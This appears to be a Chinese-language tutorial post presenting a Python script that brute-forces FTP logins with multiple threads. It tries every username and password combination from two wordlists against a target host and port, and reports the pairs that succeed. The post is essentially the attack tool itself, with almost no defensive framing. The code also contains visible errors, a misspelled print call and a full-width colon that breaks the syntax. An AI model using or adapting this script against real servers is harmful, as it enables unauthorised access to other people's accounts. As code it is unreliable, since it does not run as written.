[Python知识库]python编写工具09_编写ftp多线程爆破

采用队列的思路，避免了划分文件的代码，提高了代码的整体简约/阅读性

import ftplib
import sys
import threading
import queue

def ftp_brute(ip,port):
    ftp = ftplib.FTP()
    ftp.connect(ip,int(port))
    while not q.empty():
        dict = q.get()
        dict = dict.split('|')
        username = dict[0]
        password = dict[1]
        try:
            ftp.login(username,password)
            ftp.retrlines('list')
            pringt(username + '|' + password + '|ok')
        except ftplib.all_errors:
            print(username + '|' + password + '|no')
            pass

if __name__ == '__main__'：
    ip = sys.argv[1]
    port = sys.argv[2]
    userfile = sys.argv[3]
    passfile = sys.argv[4]
    threading_num = sys.argv[5]
    q=queue.Queue()
    for username in open(userfile):
        for password in open(passfile):
            username=username.replace('\n','')
            password=password.replace('\n','')
            zidian=username + '|' + password
            q.put(zidian)
            #print(zidian)

    for x in range(int(threading_num)):
        t = threading.Thread(target=ftp_brute,args=(ip,int(port)))
        t.start()
        

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